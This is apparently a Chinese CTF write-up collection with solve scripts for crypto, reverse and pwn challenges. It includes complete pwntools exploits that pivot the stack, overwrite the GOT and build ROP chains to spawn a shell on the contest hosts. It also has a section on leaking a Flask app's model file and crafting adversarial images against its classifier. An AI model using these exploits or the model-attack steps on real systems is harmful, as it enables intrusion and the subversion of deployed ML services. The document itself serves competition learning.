PbsuS3DaKk50YvRTG8HLoLz7BLYOSbXrBcNNjpFIrBLpqc4018evc+nGvnaULeHw
NXNPa1hlCNFXgJ4+ne3f/KcCgYEAu0KerDUBoc8KfGbnSH98ksuIJRaaqXog22Y8
I5EenGEAm7KOSzUr5cwr7PvWLnSqVnxbAvaV+mLZ1T0PcHdsPJYkfLp4W0FykV+L
L4xod/jiXPS5oLiZVpqZPgMrHXPDhxfq/MEteTAAAAAAAAApzN0kj6IWrg1qN/we
jFAi+3kCgYABKVPNcN25ZT/FjL4uLKhyu3Q6vgPRQwP//bPlTloenxDT8RN3znpx
qzv0e84HQH5lH/AxNix5eq/apOi8B0q6IW1Fj3ytczR8cvPhCln/zWV/ZXxj6Rul
JR3mGGh3lYDqiTxi+6ZbKqbhc4N7na8VHx+CoAGMqRUFzAAAAAAAAA==
-----END RSA PRIVATE KEY-----
1
2
3
4
5
6
7
8
9
10
11
12
13
14
import gmpy2
from Crypto.Util.number import long_to_bytes
e = 0x10001
n = 0x00b3ee84a7c49ab1b86f206eb6891800aa9a42ec4eb1b4cdde74f767eb9e07d0820972bdd3b22b3c38ee497049521e12640a44f5c6d4601e6d735723c8a736533d9637bcc80dfb14ee0f09fbae83eb309f68621504f18b779411a8b4ec9987bfdf4aafe177d2004ea98ede04e007340514f28af8d2c786275860491b83b323d9309a48e64e66d91aecbb0f7e39ebd9ba3f87732f240c7ce911033b6157bc902163d03f56205ab6ad2918a0ff2e2a0793069f8dddabc500374a39eeafc2f139678cf673599194780c7fe49311cb2b1b2545e3c690e1db2e0c083bd6dda65848d64cbb810a424379a88bbe153ddf3c8e79e0c807ed1aa9b6874330da3559830cfa45
dp = 0x0097241a2cd4a3a6a62457ed7a08bdae4285aa8aa5c82f7413a0d8643297cb44ade7e625d29cde1a6a2d9d0c2ab67e1a816470ad4708b792f973387cfb905e473dbb2e4b70da2a4e7462f4531bc1cba0bcfb04b60e49b5eb05c34d8e9148ac12e9a9ce34d7c7af73e9c6be76942de1f035734f6b586508d157809e3e9deddffca7

for x in range(1,e): #遍历X
if (dp*e-1)%x==0:
p=(dp*e-1)//x +1
if n%p==0:
q=n//p #得到q
phi=(p-1)*(q-1) #欧拉函数
d=gmpy2.invert(e,phi) #求逆元
print(d)

解密得到密文为M1sc_1s_s0_e@sy!

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
import gmpy2
from Crypto.Cipher import PKCS1_OAEP
from Crypto.PublicKey import RSA

e = 0x10001
n = 0xb3ee84a7c49ab1b86f206eb6891800aa9a42ec4eb1b4cdde74f767eb9e07d0820972bdd3b22b3c38ee497049521e12640a44f5c6d4601e6d735723c8a736533d9637bcc80dfb14ee0f09fbae83eb309f68621504f18b779411a8b4ec9987bfdf4aafe177d2004ea98ede04e007340514f28af8d2c786275860491b83b323d9309a48e64e66d91aecbb0f7e39ebd9ba3f87732f240c7ce911033b6157bc902163d03f56205ab6ad2918a0ff2e2a0793069f8dddabc500374a39eeafc2f139678cf673599194780c7fe49311cb2b1b2545e3c690e1db2e0c083bd6dda65848d64cbb810a424379a88bbe153ddf3c8e79e0c807ed1aa9b6874330da3559830cfa45
d = 0x436ea356808efd05c2d7e3c612f0e4e70af303bea648bd529e814df7f67cb53ed6ada2c8a0a0256cac98e735034a73d7fc2545fae302b6c48c125f3dc6b4cc536b65ae2147640ebefcf1dfd9d264a50f48be61643de5e7c59d2c9dc981ec671316d97d653b559425657e7d533c3fd99bb51e320c446c59787c7549937ce2757568c8fff45165a42e78646d26cf7dc1b26a612a741360b94837342595a2fa651e4dfbfdd0a081a3f933481e4510845091f5ddbce45588516126861f5413c53014fc3e81a0dcace715a52a538406a931bcc1b99f269282083dc86f28ba49469d7ed539923ad8ff78ee2cc4a5ce31d107d707850b3054a2020a2b41fa549b7a0c6d

# dp泄露攻击, n ,e, d
rsakey = RSA.construct((n, e, d)) # 重构私钥流

# 读取密文流
with open('enc', 'rb') as f:
enc = f.read()

# 私钥流基于OAEP模式进行密钥填充
rsa = PKCS1_OAEP.new(rsakey)
try:
m = rsa.decrypt(enc) # 调用.decrypt()进行解密
print(m) # Assuming the decrypted message is a string
except Exception as ex:
print("Decryption failed:", ex)

压缩包内为一张图片,猜测经过了Arnold变换,爆破一下参数值得到shuffle_times, a, b分别为6, 16, 26

变换回去得到flag为: flag{3089ea1c-23a0-4889-a87f-daabe2f6e1b4}

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
# -*- coding: UTF-8 -*-
import matplotlib.pyplot as plt
import cv2
import numpy as np
from PIL import Image


def arnold_encode(image, shuffle_times, a, b):
""" Arnold shuffle for rgb image
Args:
image: input original rgb image
shuffle_times: how many times to shuffle
Returns:
Arnold encode image
"""
# 1:创建新图像
arnold_image = np.zeros(shape=image.shape)

# 2:计算N
h, w = image.shape[0], image.shape[1]
N = h # 或N=w

# 3:遍历像素坐标变换
for time in range(shuffle_times):
for ori_x in range(h):
for ori_y in range(w):
# 按照公式坐标变换
new_x = (1*ori_x + b*ori_y)% N
new_y = (a*ori_x + (a*b+1)*ori_y) % N

# 像素赋值
# print(image[ori_x, ori_y, :])
# print(arnold_image[new_x, new_y, :])
arnold_image[new_x, new_y, :] = image[ori_x, ori_y, :]

# 更新坐标
image = np.copy(arnold_image)

cv2.imwrite('flag_arnold_encode.png', arnold_image, [int(cv2.IMWRITE_PNG_COMPRESSION), 0])
return arnold_image


def arnold_decode(arnold_image, shuffle_times, a, b):
""" Arnold shuffle for rgb image
Args:
arnold_image: input arnold encoded rgb image
shuffle_times: how many times to shuffle
a: element a of the arnold transform matrix
b: element b of the arnold transform matrix
Returns:
Arnold decode image
"""
# 1:创建新图像
decode_image = np.zeros(shape=arnold_image.shape)
# 2:计算N
h, w = arnold_image.shape[0], arnold_image.shape[1]
N = h # 或N=w

# 3:遍历像素坐标变换
for time in range(shuffle_times):
for ori_x in range(h):
for ori_y in range(w):
# 按照公式坐标变换
new_x = ((a * b + 1) * ori_x + (-b) * ori_y) % N
new_y = ((-a) * ori_x + ori_y) % N
decode_image[new_x, new_y, :] = arnold_image[ori_x, ori_y, :]

# 更新坐标
arnold_image = np.copy(decode_image)

cv2.imwrite('flag_arnold_decode.png', decode_image, [int(cv2.IMWRITE_PNG_COMPRESSION), 0])
return decode_image


img = cv2.imread('flag_arnold_encode.png')
# arnold_encode(img, 6, 16, 26)
arnold_decode(img, 6, 16, 26)

dance

点击下载题文件

分析题目,可以发现如果把m两两分为一组的话

case1:若连续的m均为1或0,则输出为

image-20250123185841248

image-20250123185855728

image-20250123185917656

也即两者互逆,但是我们无法直接判断出是0、0还是1、1

case2:若连续的m为1、0,则输出为

image-20250123185932542

image-20250123185953057

显然下面的就是上面的求逆再乘上image-20250123190012215

case3:类似的若连续的m为0、1,则输出为

image-20250123190024638

image-20250123190035813

显然下面的就是上面乘上image-20250123190102765再求逆

我们遍历m,利用case1、2、3进行判断,我们就只剩下几个重复的没有恢复了,然后多次使用case1即可

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
# sage
from Crypto.Util.number import *

def check(A, B):
aa = A.weil_pairing(G1, o1)
bb = B.weil_pairing(G2, o2)
if aa ^ (-1) == bb:
return 0
if (aa * e) ^ (-1) == bb:
return 1
if aa * e ^ (-1) == bb ^ (-1):
return 2

c = []
p = 0x1A0111EA397FE69A4B1BA7B6434BACD764774B84F38512BF6730D2A0F6B0F6241EABFFFEB153FFFFB9FEFFFFFFFFAAAB
E = EllipticCurve(GF(p), [0, 4])
G1, G2 = E.gens()
o1, o2 = G1.order(), G2.order()
m = []
C = [E(c[3 * i : 3 * i + 3]) for i in range(len(c) // 3)]
e = G2.weil_pairing(G1, o1)
for A, B in zip(C[:-1], C[1:]):
u = check(A, B)
if u == 0:
m.append("x")
elif u == 1:
m.append(0)
elif u == 2:
m.append(1)
else:
print("oops")
break
m += [1]
while 1:
for i, A, B in zip(range(len(m) - 1), C[:-1], C[1:]):
u = check(A, B)
if u == 0 and m[i + 1] != "x":
m[i] = m[i + 1]
if "x" not in m:
break
print(long_to_bytes(int("".join(map(str, m)), 2)))

获得flag为

flag{0331d347-6fd2-4159-9c84-0f78373933bd}

easyvm

点击下载题文件

程序没有去除符号表,结合静态分析与动态调试即可dump下来opcode

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
[ 7, 0x101, 3, 0x6701, 0x801, 0xA, 0x1b601, 9, 2, 2, 2,
7, 0x201, 3, 0x6e01, 0x1301, 0xA, 0x1b601, 9, 2, 2, 2,
7, 0x301, 3, 0x6401, 0x1E01, 0xA, 0x1b601, 9, 2, 2, 2,
7, 0x101, 3, 0x6801, 0x2901, 0xA, 0x1b601, 9, 2, 2, 2,
7, 0x201, 3, 0x7d01, 0x3401, 0xA, 0x1b601, 9, 2, 2, 2,
7, 0x301, 3, 0x3501, 0x3F01, 0xA, 0x1b601, 9, 2, 2, 2,
7, 0x805, 0x101, 4, 0x320101, 0x4B01, 0xA, 0x1b601, 9, 2, 2, 2,
7, 0x805, 0x201, 4, 0x320201, 0x5701, 0xA, 0x1b601, 9, 2, 2, 2,
7, 0x805, 0x301, 4, 0x630301, 0x6301, 0xA, 0x1b601, 9, 2, 2, 2,
7, 0x805, 0x101, 4, 0x630101, 0x6F01, 0xA, 0x1b601, 9, 2, 2, 2,
7, 0x805, 0x101, 4, 0x630101, 0x7B01, 0xA, 0x1b601, 9, 2, 2, 2,
7, 0x805, 0x201, 4, 0x660201, 0x8701, 0xA, 0x1b601, 9, 2, 2, 2,
7, 0x805, 0x301, 4, 0x320301, 0x9301, 0xA, 0x1b601, 9, 2, 2, 2,
7, 0x101, 3, 0x2E01, 0x9E01, 0xA, 0x1b601, 9, 2, 2, 2,
7, 0x201, 3, 0x3901, 0x0A901, 0xA, 0x1b601, 9, 2, 2, 2,
7, 0x301, 3, 0x3401, 0x0B401, 0xA, 0x1b601, 9, 2, 2, 2,
7, 0x101, 3, 0x6301, 0x0BF01, 0xA, 0x1b601, 9, 2, 2, 2,
7, 0x201, 3, 0x3801, 0x0CA01, 0xA, 0x1b601, 9, 2, 2, 2,
7, 0x301, 3, 0x3001, 0x0D501, 0xA, 0x1b601, 9, 2, 2, 2,
7, 0x201, 3, 0x3601, 0x0E001, 0xA, 0x1b601, 9, 2, 2, 2,
7, 0x105, 0x06E01, 0x0EA01, 0xA, 0x1b601, 9, 2, 2, 2,
7, 0x205, 0x0DC01, 0x0F401, 0xA, 0x1b601, 9, 2, 2, 2,
7, 0x305, 0x31001, 0x0FE01, 0xA, 0x1b601, 9, 2, 2, 2,
7, 0x805, 0x101, 4, 0x2D0101, 0x10A01, 0x0A, 0x1b601, 9, 2, 2, 2,
7, 0x805, 0x201, 4, 0x620201, 0x11601, 0x0A, 0x1b601, 9, 2, 2, 2,
7, 0x805, 0x301, 4, 0x630301, 0x12201, 0x0A, 0x1b601, 9, 2, 2, 2,
7, 0x105, 0x0CA01, 0x12C01, 0x0A, 0x1b601, 9, 2, 2, 2,
7, 0x205, 0x18401, 0x13601, 0x0A, 0x1b601, 9, 2, 2, 2,
7, 0x305, 0x18001, 0x14001, 0x0A, 0x1b601, 9, 2, 2, 2,
7, 0x305, 0x33001, 0x14A01, 0x0A, 0x1b601, 9, 2, 2, 2,
7, 0x205, 0x0c801, 0x15401, 0x0A, 0x1b601, 9, 2, 2, 2,
7, 0x105, 0x06601, 0x15e01, 0x0A, 0x1b601, 9, 2, 2, 2,
7, 0x305, 0x18001, 0x16901, 0x0A, 0x1b601, 9, 2, 2, 2,
7, 0x205, 0x19401, 0x17301, 0x0A, 0x1b601, 9, 2, 2, 2,
7, 0x305, 0x18001, 0x17d01, 0x0A, 0x1b601, 9, 2, 2, 2,
7, 0x205, 0x19401, 0x18701, 0x0A, 0x1b601, 9, 2, 2, 2,
7, 0x105, 0x0FA01, 0x19201, 0x0A, 0x1b601, 9, 2, 2, 2,
0x4301, 8, 0x6F01, 8,
0x6E01, 8, 0x6701, 8, 0x7201, 8, 0x6101, 8, 0x7401, 8, 0x7501,
8, 0x6C01, 8, 0x6101, 8, 0x7401, 8, 0x6901, 8, 0x6F01, 8,
0x6E01, 8, 0x7301, 8, 0x2101, 8, 0x0A01, 8, 0x0C, 0x5401,
8, 0x7201, 8, 0x7901, 8, 0x2C01, 8, 0x4101, 8, 0x6701, 8,
0x6101, 8, 0x6901, 8, 0x6E01, 8, 0x2101, 8, 0x0A01, 8, 0x0C]

并且可以分析出来各个函数对应的功能

这里有个小坑(防止直接读函数名硬猜),vm_and函数的实际功能是异或

接着分析opcode与各个函数对应的关系 即可手搓出解题脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
print(chr(0x67-1),end='')
print(chr(0x6e-2),end='')
print(chr(0x64-3),end='')
print(chr(0x68-1),end='')
print(chr(0x7d-2),end='')
print(chr(0x35-3),end='')
print(chr((0x3201 | 1) >> 8),end='')
print(chr((0x3200 | 2) >> 8),end='')
print(chr((0x6300 | 3) >> 8),end='')
print(chr((0x6300 | 1) >> 8),end='')
print(chr((0x6300 | 1) >> 8),end='')
print(chr((0x6600 | 2) >> 8),end='')
print(chr((0x3200 | 3) >> 8),end='')
print(chr(0x2e-1),end='')
print(chr(0x39-2),end='')
print(chr(0x34-3),end='')
print(chr(0x63-1),end='')
print(chr(0x38-2),end='')
print(chr(0x30-3),end='')
print(chr(0x36-2),end='')
print(chr((0x6e) >> 1),end='')
print(chr((0xdc) >> 2),end='')
print(chr((0x310) >> 3),end='')
print(chr((0x2d00 | 1) >> 8),end='')
print(chr((0x6200 | 2) >> 8),end='')
print(chr((0x6300 | 3) >> 8),end='')
print(chr((0xca) >> 1),end='')
print(chr((0x184) >> 2),end='')
print(chr((0x180) >> 3),end='')
print(chr((0x330) >> 3),end='')
print(chr((0xc8) >> 2),end='')
print(chr((0x66) >> 1),end='')
print(chr((0x180) >> 3),end='')
print(chr((0x194) >> 2),end='')
print(chr((0x180) >> 3),end='')
print(chr((0x194) >> 2),end='')
print(chr((0xfa) >> 1),end='')

# flag{222cccf2-71b6-477b-bcea0f230e0e}

toys

点击下载题文件
  1. 题目就是很简单的栈溢出,但是发生在高版本libc中导致没有足够的gadget进行使用,所以这里需要进行栈迁移。并且题目中没有输出函数来输出我们输入的内容导致难以泄漏地址
  2. 但是很容易可以注意到这里的strlen函数就非常类似puts函数来使用,所以这里如果可以将strlen函数的got表中的内容修改为puts的plt表从而可以实现泄漏出其中的内容
  3. 但是实际操作会发现如果直接进行栈迁移到该got表位置会导致其他的内容被毁所以这里还需要将rsp给迁移到更高的地址,从而避免该内存中的重要内容不被修改
  4. 所以这里需要进行几次迁移,通过多次leave ret来保证我们在执行函数时rsp都处于高地址

最终可得exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
from pwn import *

elf = ELF('./pwn')
# r = process('./pwn')
r = remote('172.16.0.2', 9999)
libc = ELF('./libc.so.6')

context.log_level = 'debug'
context.terminal = ['tmux','splitw','-h']
context.arch = 'amd64'

leave_ret = 0x00000000004012cd
fget_read = 0x00401274
puts_plt = 0x00401090
puts_addr = 0x40128C
got_addr = 0x00404000
strlen_got = 0x00404008

r.recvuntil(b'Data: ')
payload = flat(b'\x00'*0x80, got_addr + 0x800, fget_read)
r.sendline(payload)

r.recvuntil(b'OK')
payload = flat(b'\x00'*0x80, got_addr + 0x100, fget_read,
strlen_got + 0x80, fget_read, strlen_got + 0x98, puts_addr, strlen_got + 0x700, fget_read)
r.sendline(payload)

# gdb.attach(r, 'b*0x004012cd')

r.recvuntil(b'OK')
payload = flat([0], got_addr + 0x820, leave_ret,[0], got_addr + 0x830, leave_ret)
payload = payload.ljust(0x80, b'\x00') + flat(got_addr + 0x810, leave_ret)
r.sendline(payload)

r.recvuntil(b'OK')
payload = flat(puts_plt)
r.sendline(payload)

# gdb.attach(r, 'b*0x004012cd')

r.recvuntil(b'OK!\n')
libc_base = u64(r.recv(6).ljust(8, b'\x00')) - 0x88540
print(hex(libc_base))

system_addr = libc_base + libc.sym['system']
bin_sh_addr = libc_base + next(libc.search(b'/bin/sh'))
pop_rdi = libc_base + next(libc.search(asm("pop rdi; ret")))

r.recvuntil(b'OK!\n')
payload = flat(b'\x00' * 0x88, pop_rdi, bin_sh_addr, system_addr)
r.sendline(payload)

r.interactive()

和谐

点击下载题文件

writeup

使用 adb-decompiler 分析源码:

大概能分析出来是SM4,并且修改了密钥扩展部分。

2-1737295871

直接写个脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
#include <stdio.h>

typedef unsigned long ull;
typedef unsigned int uint;
typedef unsigned char uchar;

static const uchar Sbox[16][16] = {
{0xd6, 0x90, 0xe9, 0xfe, 0xcc, 0xe1, 0x3d, 0xb7, 0x16, 0xb6, 0x14, 0xc2, 0x28, 0xfb, 0x2c, 0x05},
{0x2b, 0x67, 0x9a, 0x76, 0x2a, 0xbe, 0x04, 0xc3, 0xaa, 0x44, 0x13, 0x26, 0x49, 0x86, 0x06, 0x99},
{0x9c, 0x42, 0x50, 0xf4, 0x91, 0xef, 0x98, 0x7a, 0x33, 0x54, 0x0b, 0x43, 0xed, 0xcf, 0xac, 0x62},
{0xe4, 0xb3, 0x1c, 0xa9, 0xc9, 0x08, 0xe8, 0x95, 0x80, 0xdf, 0x94, 0xfa, 0x75, 0x8f, 0x3f, 0xa6},
{0x47, 0x07, 0xa7, 0xfc, 0xf3, 0x73, 0x17, 0xba, 0x83, 0x59, 0x3c, 0x19, 0xe6, 0x85, 0x4f, 0xa8},
{0x68, 0x6b, 0x81, 0xb2, 0x71, 0x64, 0xda, 0x8b, 0xf8, 0xeb, 0x0f, 0x4b, 0x70, 0x56, 0x9d, 0x35},
{0x1e, 0x24, 0x0e, 0x5e, 0x63, 0x58, 0xd1, 0xa2, 0x25, 0x22, 0x7c, 0x3b, 0x01, 0x21, 0x78, 0x87},
{0xd4, 0x00, 0x46, 0x57, 0x9f, 0xd3, 0x27, 0x52, 0x4c, 0x36, 0x02, 0xe7, 0xa0, 0xc4, 0xc8, 0x9e},
{0xea, 0xbf, 0x8a, 0xd2, 0x40, 0xc7, 0x38, 0xb5, 0xa3, 0xf7, 0xf2, 0xce, 0xf9, 0x61, 0x15, 0xa1},
{0xe0, 0xae, 0x5d, 0xa4, 0x9b, 0x34, 0x1a, 0x55, 0xad, 0x93, 0x32, 0x30, 0xf5, 0x8c, 0xb1, 0xe3},
{0x1d, 0xf6, 0xe2, 0x2e, 0x82, 0x66, 0xca, 0x60, 0xc0, 0x29, 0x23, 0xab, 0x0d, 0x53, 0x4e, 0x6f},
{0xd5, 0xdb, 0x37, 0x45, 0xde, 0xfd, 0x8e, 0x2f, 0x03, 0xff, 0x6a, 0x72, 0x6d, 0x6c, 0x5b, 0x51},
{0x8d, 0x1b, 0xaf, 0x92, 0xbb, 0xdd, 0xbc, 0x7f, 0x11, 0xd9, 0x5c, 0x41, 0x1f, 0x10, 0x5a, 0xd8},
{0x0a, 0xc1, 0x31, 0x88, 0xa5, 0xcd, 0x7b, 0xbd, 0x2d, 0x74, 0xd0, 0x12, 0xb8, 0xe5, 0xb4, 0xb0},
{0x89, 0x69, 0x97, 0x4a, 0x0c, 0x96, 0x77, 0x7e, 0x65, 0xb9, 0xf1, 0x09, 0xc5, 0x6e, 0xc6, 0x84},
{0x18, 0xf0, 0x7d, 0xec, 0x3a, 0xdc, 0x4d, 0x20, 0x79, 0xee, 0x5f, 0x3e, 0xd7, 0xcb, 0x39, 0x48}
};

ull leftShift(ull x, int n) {
return (x << n) | (x >> (32 - n));
}

ull chr2int(uchar *chr) {
return (chr[0] << 24) | (chr[1] << 16) | (chr[2] << 8) | chr[3];
}

void int2chr(uchar *chr, ull x) {
chr[0] = (x >> 24) & 0xff;
chr[1] = (x >> 16) & 0xff;
chr[2] = (x >> 8) & 0xff;
chr[3] = x & 0xff;
}

uint transSboxInt(uint temp)
{
return Sbox[temp>>4][temp&0xf];
}

uint transSbox(uint temp) {
uint output = 0;
for (int i = 3; i > -1; i--) {
output = output << 8;
output = output | transSboxInt((temp >> (i * 8)) & 0xff);
}
return output;
}

uint keyTrans(uint temp) {
return temp ^ leftShift(temp, 13) ^ leftShift(temp, 23);
}

uint trans(uint temp) {
temp = transSbox(temp);
return temp ^ leftShift(temp, 2) ^ leftShift(temp, 10) ^ leftShift(temp, 18) ^ leftShift(temp, 24);
}

void keyExtention_new(uchar K[32], uint RK[32]) {
uint tk[36];
for (int i = 0; i < 4; i++) {
tk[i] = chr2int(K + 4 * i);
}
for (int i = 0; i < 32; i++) {
tk[i + 4] = tk[i + 1] ^ tk[i + 2] ^ tk[i + 3];
tk[i + 4] = transSbox(tk[i + 4]);
tk[i + 4] = keyTrans(tk[i + 4]);
tk[i + 4] = tk[i] ^ tk[i + 4];
RK[i] = tk[i + 4];
}
}

void sm4_encrypt_new(uchar *input, uchar *output, uchar *K) {
uint RK[32];
keyExtention_new(K, RK);
uint X[36];
for (int i = 0; i < 4; i++) {
X[i] = chr2int(input + 4 * i);
}
for (int i = 0; i < 32; i++) {
X[i + 4] = X[i + 1] ^ X[i + 2] ^ X[i + 3] ^ RK[i];
X[i + 4] = trans(X[i + 4]);
X[i + 4] = X[i] ^ X[i + 4];
}
for (int i = 0; i < 4; i++) {
output[4 * i] = (X[35 - i] >> 24) & 0xff;
output[4 * i + 1] = (X[35 - i] >> 16) & 0xff;
output[4 * i + 2] = (X[35 - i] >> 8) & 0xff;
output[4 * i + 3] = X[35 - i] & 0xff;
}
}

void sm4_decrypt_new(uchar *input, uchar *output, uchar *K) {
uint RK[32];
keyExtention_new(K, RK);
uint X[36];
for (int i = 0; i < 4; i++) {
X[35 - i] = chr2int(input + 4 * i);
}
for (int i = 31; i >= 0; i--) {
X[i] = X[i + 1] ^ X[i + 2] ^ X[i + 3] ^ RK[i];
X[i] = trans(X[i]);
X[i] = X[i + 4] ^ X[i];
}
for (int i = 0; i < 4; i++) {
output[4 * i] = (X[i] >> 24) & 0xff;
output[4 * i + 1] = (X[i] >> 16) & 0xff;
output[4 * i + 2] = (X[i] >> 8) & 0xff;
output[4 * i + 3] = X[i] & 0xff;
}
}


int main() {
uchar key[16] = {0xd6, 0x90, 0xe9, 0xfe, 0xcc, 0xe1, 0x3d, 0xb7, 0x16, 0xb6, 0x14, 0xc2, 0x28, 0xfb, 0x2c, 0x05};
uchar output[48] = {
24, 138, 76, 64, 151, 159, 65, 33, 3, 90, 97, 15, 62, 105, 82, 235,
77, 240, 241, 90, 84, 179, 185, 34, 158, 119, 185, 189, 120, 106, 13, 138,
17, 68, 255, 127, 234, 11, 218, 151, 82, 97, 25, 170, 100, 201, 253, 150,
};
uchar input[48] = {0};
for (int i = 0; i < 48; i++) {
output[i] = Sbox[output[i] / 16][output[i] % 16];
}
uchar output2[48] = {0};
for (int j = 0; j < 3; j++)
{
sm4_decrypt_new(output + j * 16, output2 + j * 16, key);
for (int i = 0; i < 16; i++) {
printf("%c", output2[j * 16 + i]);
}
}
printf("n");
return 0;
}

最后一串0是加密加上去的,需要去掉。

flag{4b4afff3-887b-47af-832f-3dcd6f1cfa89}

rogue_like

点击下载题文件

题目非常新颖,一共设置了三个关卡。

对于第一关,选手可以选择如下漏洞利用:

  • 指定libc地址写8字节0
  • 指定libc地址写1字节任意值
  • 查看/proc/self/maps,获得大部分地址

对于第二关,选手可以选择如下漏洞利用:

  • 增加指定地址上的值,最多为5
  • 增加指定地址上指向的值,最多为5
  • 无用功能

对于第三关,选手可以选择如下漏洞利用:

  • 栈溢出0x20字节,但同时会close(0)
  • 通过write输出栈上大量内容,但不存在栈溢出
  • 栈溢出rbp一字节为0,但能够read两次

在第三关开始时,程序还会close(1),防止输出任何内容。

先说预期解:

  • 通过第一关选择偏移将tls中的canary置零
  • 通过第二关选择指定地址+5,这里选择将alarm偏移获得syscall
  • 通过第三关选择栈上的off-by-null进行利用,从而rop获得shell

注意,题目有多处可以leak的打法,但本题由于需要进行漏洞的组合利用,选择leak后,则无法组合出可以获得shell的利用链。

例如,第一关可以选择查看/proc/self/maps,但如此便无法覆盖canary0,无法通过栈溢出利用。

又例如,第三关输出内容时会因为close(1)的缘故,无法获得内容。

选手需要对栈上知识点进行综合利用。由于canary保护开启,且最后第三关一定为栈溢出,则选手需要思考如下内容:

  • canary 的绕过方法
  • gadget 的寻找

通过如上思考,可知第一关一定选择tlscanary置零(不然没有别的办法栈溢出);第二关一定选择alarmgot+5,从而获得syscallgadget;第三关一定选择两次readoff-by-null的栈溢出,从而能够控制rax

最后,选手应该通过如下方式完成系统调用:

  • rax:通过read控制
  • rdi:通过程序gadgetpop rdi; ret获得
  • rsi:同上
  • rdx:同上
  • syscall:通过alarm+5获得
  • /bin/sh:通过程序内字符串的偏移获得

最终的exp如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
from pwn import *

filename = './attachment'
context.arch='amd64'
context.log_level = "debug"
context.terminal = ['tmux', 'neww']
local = 0
all_logs = []
# elf = ELF(filename)
# libc = elf.libc

if local:
sh = process(filename)
else:
sh = remote('101.200.198.105', 20689)

def debug(params=''):
for an_log in all_logs:
success(an_log)
pid = util.proc.pidof(sh)[0]
gdb.attach(pid, params)

def leak_info(name, addr):
output_log = '{} => {}'.format(name, hex(addr))
all_logs.append(output_log)
success(output_log)

def weapon(index):
sh.sendafter('> ', '1')
time.sleep(1)
sh.sendafter('To achive your, your DrEaM🥹..!?n', str(index))
time.sleep(1)

def bless(count, addr):
sh.sendafter('> ', '2')
time.sleep(1)
sh.sendafter('> ', str(count))
time.sleep(1)
sh.sendafter('> ', str(addr))
time.sleep(1)

def challenge(content1, content2):
sh.sendafter('> ', '3')
time.sleep(1)
sh.send(content1)
time.sleep(1)
sh.send(content2)
time.sleep(1)

ret = 0x04007fe
pop_rdi = 0x4013f4
pop_rsi = 0x4013f6
pop_rdx = 0x4013f8
pop_rsp = 0x4013fa
bin_sh = 0x4019D7
syscall = 0x602058

weapon(-0x2b18)
bless('5', syscall)

payload1 = p64(ret)*0x16
rop_chain = p64(pop_rdi) + p64(bin_sh)
rop_chain += p64(pop_rsi) + p64(0)
rop_chain += p64(pop_rdx) + p64(0)
rop_chain += p64(pop_rsp) + p64(syscall)

payload1 = payload1 + rop_chain
payload1 = payload1.ljust(0x100, b'x00')

payload2 = b'a'*0x3b
challenge(payload1, payload2)

sh.sendline('exec 1>& 0')
time.sleep(1)
sh.sendline('cat /flag')
sh.interactive()

FlagBot

  1. 通过修改发送的数据包,导致flask报错,得到模型文件名

  2. 下载模型文件

  3. 使用得到的模型文件,以及文件名,制作对抗样本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
from PIL import Image
from io import BytesIO
import torch
from torch import nn
from torchvision import transforms
from PIL import Image
import werkzeug.exceptions

class AlexNet(nn.Module):
def __init__(self, num_classes: int = 1000, dropout: float = 0.5) -> None:
super().__init__()
self.features = nn.Sequential(
nn.Conv2d(3, 64, kernel_size=11, stride=4, padding=2),
nn.ReLU(inplace=True),
nn.MaxPool2d(kernel_size=3, stride=2),
nn.Conv2d(64, 192, kernel_size=5, padding=2),
nn.ReLU(inplace=True),
nn.MaxPool2d(kernel_size=3, stride=2),
nn.Conv2d(192, 384, kernel_size=3, padding=1),
nn.ReLU(inplace=True),
nn.Conv2d(384, 256, kernel_size=3, padding=1),
nn.ReLU(inplace=True),
nn.Conv2d(256, 256, kernel_size=3, padding=1),
nn.ReLU(inplace=True),
nn.MaxPool2d(kernel_size=3, stride=2),
)
self.avgpool = nn.AdaptiveAvgPool2d((6, 6))
self.classifier = nn.Sequential(
nn.Dropout(p=dropout),
nn.Linear(256 * 6 * 6, 4096),
nn.ReLU(inplace=True),
nn.Dropout(p=dropout),
nn.Linear(4096, 4096),
nn.ReLU(inplace=True),
nn.Linear(4096, num_classes),
)

def forward(self, x: torch.Tensor) -> torch.Tensor:
x = self.features(x)
x = self.avgpool(x)
x = torch.flatten(x, 1)
x = self.classifier(x)
return x


model = AlexNet(num_classes=2)
model.load_state_dict(torch.load('model_AlexNet.pth', map_location=torch.device('cpu'), weights_only=True))
